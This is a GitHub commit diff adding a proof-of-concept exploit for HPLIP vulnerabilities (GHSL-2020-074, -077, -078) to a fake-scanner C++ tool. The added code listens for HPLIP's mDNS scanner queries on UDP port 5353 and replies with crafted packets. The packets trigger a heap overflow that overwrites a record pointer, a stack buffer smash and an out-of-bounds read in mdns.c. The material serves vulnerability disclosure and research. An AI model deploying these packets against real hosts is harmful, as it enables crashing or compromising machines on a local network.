Skip to content

Commit 68ddde0

Browse files
authored
Merge pull request #189 from kevinbackhouse/HPLIP
Add HPLIP poc (GHSL-2020-074, GHSL-2020-077, GHSL-2020-078)
2 parents 506d135 + 32a788c commit 68ddde0

2 files changed

Lines changed: 312 additions & 2 deletions

File tree

SecurityExploits/SANE/epsonds_CVE-2020-12861/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# Vulnerabilities in SANE Backends
1+
# Vulnerabilities in SANE Backends and HPLIP
22

33
This directory contains two proof-of-concept exploits for several vulnerabilities in
44
[SANE Backends](https://gitlab.com/sane-project/backends).

SecurityExploits/SANE/epsonds_CVE-2020-12861/fakescanner.cpp

Lines changed: 311 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -241,6 +241,298 @@ class BuildMagicolorHandlerTCP : public BuildRecvHandlerTCP {
241241
}
242242
};
243243

244+
// The exact bytes of the buffer sent by this call (mdns.c:442):
245+
//
246+
// mdns_send_query(udp_socket, "_scanner._tcp.local", QTYPE_PTR);
247+
//
248+
static const char scanner_tcp_local[37] = {
249+
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
250+
0x08, 0x5f, 0x73, 0x63, 0x61, 0x6e, 0x6e, 0x65, 0x72, 0x04, 0x5f, 0x74,
251+
0x63, 0x70, 0x05, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x00, 0x00, 0x0c, 0x00,
252+
0x01
253+
};
254+
255+
// The exact bytes of the buffer sent by this call (mdns.c:443):
256+
//
257+
// mdns_send_query(udp_socket, "_uscan._tcp.local", QTYPE_PTR);
258+
//
259+
static const char uscan_tcp_local[35] = {
260+
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
261+
0x06, 0x5f, 0x75, 0x73, 0x63, 0x61, 0x6e, 0x04, 0x5f, 0x74, 0x63, 0x70,
262+
0x05, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x00, 0x00, 0x0c, 0x00, 0x01
263+
};
264+
265+
class HplipHandler : public RecvHandlerUDP {
266+
char malicious_response_buf[2048];
267+
268+
// Trigger a buffer overflow in mdns_readName (mdns.c:191). The
269+
// destination buffer is `rr->name`, which is a 256 byte buffer. We will
270+
// write off the end of it, overwriting the `rr->next` pointer. The
271+
// bogus pointer triggers a crash at mdns.c:393.
272+
static size_t init_buf_heap_overflow(char* buf) {
273+
size_t pos = 0;
274+
// id
275+
buf[pos++] = 0;
276+
buf[pos++] = 0;
277+
// flags
278+
buf[pos++] = 0;
279+
buf[pos++] = 0;
280+
// questions
281+
buf[pos++] = 0;
282+
buf[pos++] = 1;
283+
// answers
284+
buf[pos++] = 0;
285+
buf[pos++] = 0;
286+
// authorities
287+
buf[pos++] = 0;
288+
buf[pos++] = 0;
289+
// additionals
290+
buf[pos++] = 0;
291+
buf[pos++] = 0;
292+
293+
// mdns_readName (mdns.c:279)
294+
buf[pos++] = 0xBF;
295+
memset(buf + pos, 'x', 0xBF);
296+
pos += 0xBF;
297+
buf[pos++] = 0x50;
298+
memset(buf + pos, 'x', 0x40);
299+
pos += 0x40;
300+
((uint64_t*)(buf + pos))[0] = 0xFEDCBA9876543210; // pointer to next DNS_RECORD
301+
((uint64_t*)(buf + pos))[1] = 604; // mchunk_size (malloc.c)
302+
pos += 0x10;
303+
buf[pos++] = 0; // End the name
304+
305+
printf("setzero size=%ld\n", pos);
306+
return pos;
307+
}
308+
309+
// Trigger a stack buffer overflow in mdns_update_uris (mdns.c:396).
310+
static size_t init_buf_stack_smash(char* buf) {
311+
size_t pos = 0;
312+
// id
313+
buf[pos++] = 0;
314+
buf[pos++] = 0;
315+
// flags
316+
buf[pos++] = 0;
317+
buf[pos++] = 0;
318+
// questions
319+
buf[pos++] = 0;
320+
buf[pos++] = 0;
321+
// answers
322+
buf[pos++] = 0;
323+
buf[pos++] = 0;
324+
// authorities
325+
buf[pos++] = 0;
326+
buf[pos++] = 0;
327+
// additionals
328+
buf[pos++] = 0;
329+
buf[pos++] = 2;
330+
331+
// mdns_readName (mdns.c:279)
332+
buf[pos++] = 9;
333+
memcpy(&buf[pos], "kevwozere", 10);
334+
pos += 10;
335+
336+
// type = QTYPE_TXT (16). (mdns.c:280)
337+
buf[pos++] = 0;
338+
buf[pos++] = 16;
339+
pos += 6;
340+
341+
// data_len = 256. (mdns.c:283)
342+
buf[pos++] = 1;
343+
buf[pos++] = 0;
344+
345+
// mdns_readMDL (mdns.c:204)
346+
const uint8_t modelLen = 0xFF;
347+
buf[pos++] = modelLen;
348+
memcpy(buf + pos, "mdl=", 4);
349+
pos += 4;
350+
memset(buf + pos, 'x', modelLen - 4);
351+
pos += modelLen - 4;
352+
353+
// mdns_readName (mdns.c:279)
354+
buf[pos++] = 9;
355+
memcpy(&buf[pos], "kevwozere", 10);
356+
pos += 10;
357+
358+
// type = QTYPE_A (1). (mdns.c:280)
359+
buf[pos++] = 0;
360+
buf[pos++] = 1;
361+
pos += 6;
362+
363+
// data_len = 4. (mdns.c:283)
364+
buf[pos++] = 0;
365+
buf[pos++] = 4;
366+
367+
// Bogus ip address
368+
memset(buf + pos, 0xFF, 4);
369+
pos += 4;
370+
371+
printf("first response size=%ld\n", pos);
372+
return pos;
373+
}
374+
375+
// Trigger an out of bounds read at mdns.c:279.
376+
static size_t init_buf_out_of_bounds_read(char* buf) {
377+
size_t pos = 0;
378+
// id
379+
buf[pos++] = 0;
380+
buf[pos++] = 0;
381+
// flags
382+
buf[pos++] = 0;
383+
buf[pos++] = 0;
384+
// questions
385+
buf[pos++] = 0;
386+
buf[pos++] = 0;
387+
// answers
388+
buf[pos++] = 0;
389+
buf[pos++] = 0;
390+
// authorities
391+
buf[pos++] = 0;
392+
buf[pos++] = 0;
393+
// additionals
394+
buf[pos++] = 0;
395+
buf[pos++] = 2;
396+
397+
// mdns_readName (mdns.c:279)
398+
buf[pos++] = 9;
399+
memcpy(&buf[pos], "kevwozere", 10);
400+
pos += 10;
401+
402+
// type = QTYPE_TXT (16). (mdns.c:280)
403+
buf[pos++] = 0;
404+
buf[pos++] = 16;
405+
pos += 6;
406+
407+
// data_len = 0xFFFF. (mdns.c:283)
408+
// This causes the pointer `p` to be advanced far beyond the bounds of
409+
// the buffer, leading to an out of bounds read. This bug does not cause
410+
// a crash, but it could possibly be used for information disclosure.
411+
buf[pos++] = 0xFF;
412+
buf[pos++] = 0xFF;
413+
414+
// mdns_readMDL (mdns.c:204)
415+
const uint8_t modelLen = 0xFF;
416+
buf[pos++] = modelLen;
417+
memcpy(buf + pos, "mdl=", 4);
418+
pos += 4;
419+
memset(buf + pos, 'x', modelLen - 4);
420+
pos += modelLen - 4;
421+
return pos;
422+
}
423+
424+
static bool parse_packet(const uint8_t* buf, ssize_t size) {
425+
static const char header[] =
426+
{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
427+
428+
if (size <= (ssize_t)sizeof(header)) {
429+
return false;
430+
}
431+
432+
if (memcmp(buf, header, sizeof(header))) {
433+
printf("unrecognized header:");
434+
size_t i;
435+
for (i = 0; i < sizeof(header); i++) {
436+
printf(" %.2x", buf[i]);
437+
}
438+
printf("\n");
439+
}
440+
441+
ssize_t pos = sizeof(header);
442+
while (1) {
443+
assert(pos < size);
444+
uint8_t segsize = buf[pos];
445+
if (segsize == 0) {
446+
pos++;
447+
break;
448+
}
449+
pos++;
450+
assert(pos <= size);
451+
if (segsize >= size - pos) {
452+
printf("bad segment size: %d %ld\n", segsize, size-pos);
453+
return false;
454+
}
455+
size_t i;
456+
printf(".");
457+
for (i = 0; i < segsize; i++) {
458+
printf("%c", buf[pos + i]);
459+
}
460+
pos += segsize;
461+
}
462+
463+
printf("\n");
464+
465+
// The next 4 bytes are: 0, query_type, 0, QCLASS_IN
466+
assert(pos <= size);
467+
if (size - pos < 4) {
468+
printf("message too short\n");
469+
return false;
470+
}
471+
if (buf[pos] != 0 || buf[pos+2] != 0 || buf[pos+3] != 1) {
472+
printf("buf[pos..pos+3] = %.02x %.02x %.02x %.02x\n",
473+
buf[pos], buf[pos+1], buf[pos+2], buf[pos+3]);
474+
}
475+
uint8_t query_type = buf[pos+1];
476+
printf("query_type = %x\n", query_type);
477+
pos += 4;
478+
printf("remaining bytes: %ld\n", size-pos);
479+
480+
ssize_t i;
481+
for (i = pos; i < size; i++) {
482+
printf("%.2x", buf[i]);
483+
}
484+
printf("\n");
485+
486+
return (size == pos);
487+
}
488+
489+
public:
490+
HplipHandler(int mode) {
491+
memset(malicious_response_buf, 0, sizeof(malicious_response_buf));
492+
switch (mode) {
493+
case 0:
494+
init_buf_heap_overflow(malicious_response_buf);
495+
break;
496+
case 1:
497+
init_buf_stack_smash(malicious_response_buf);
498+
break;
499+
case 2:
500+
init_buf_out_of_bounds_read(malicious_response_buf);
501+
break;
502+
default:
503+
printf("Invalid hplip mode: %d\n", mode);
504+
break;
505+
}
506+
}
507+
508+
virtual ~HplipHandler() {}
509+
510+
virtual int receive(
511+
const uint8_t* buf, ssize_t len,
512+
SocketHandlerUDP& sock,
513+
const sockaddr* peer_addr, socklen_t peer_addr_len
514+
) override {
515+
print_addr(peer_addr, peer_addr_len);
516+
parse_packet(buf, len);
517+
518+
if (len != sizeof(scanner_tcp_local)) {
519+
// We're not interested in this message.
520+
return 0;
521+
}
522+
if (memcmp(buf, scanner_tcp_local, sizeof(scanner_tcp_local)) != 0) {
523+
// We're not interested in this message.
524+
return 0;
525+
}
526+
527+
printf("send malicious\n");
528+
sock.replyto(
529+
malicious_response_buf, sizeof(malicious_response_buf),
530+
peer_addr, peer_addr_len
531+
);
532+
return 0;
533+
}
534+
};
535+
244536
static const char epsonp_discover[15] = "EPSONP\x00\xff\x00\x00\x00\x00\x00\x00";
245537

246538
static const char epsonp_response[76] =
@@ -811,7 +1103,7 @@ int main(int argc, char* argv[]) {
8111103
fprintf(
8121104
stderr,
8131105
"usage: %s <command>\n"
814-
"commands: epson [0-8], magicolor\n",
1106+
"commands: hplip [0-2], epson [0-8], magicolor\n",
8151107
prog
8161108
);
8171109
exit(EXIT_FAILURE);
@@ -840,6 +1132,24 @@ int main(int argc, char* argv[]) {
8401132
fprintf(stderr, "Failed to bind UDP port 4567.\n");
8411133
exit(EXIT_FAILURE);
8421134
}
1135+
} else if (strcmp(command, "hplip") == 0) {
1136+
if (argc != 3) {
1137+
fprintf(
1138+
stderr,
1139+
"usage: %s hplip [0-2]\n"
1140+
"You need to include a mode number.\n",
1141+
argv[0]
1142+
);
1143+
exit(EXIT_FAILURE);
1144+
}
1145+
const int mode = atoi(argv[2]);
1146+
if (EpollRecvHandlerUDP::build(
1147+
epollfd,
1148+
create_and_bind_udp(5353),
1149+
new HplipHandler(mode)) < 0) {
1150+
fprintf(stderr, "Failed to bind UDP port 5353.\n");
1151+
exit(EXIT_FAILURE);
1152+
}
8431153
} else if (strcmp(command, "epson") == 0) {
8441154
if (argc != 3) {
8451155
fprintf(

0 commit comments

Comments
 (0)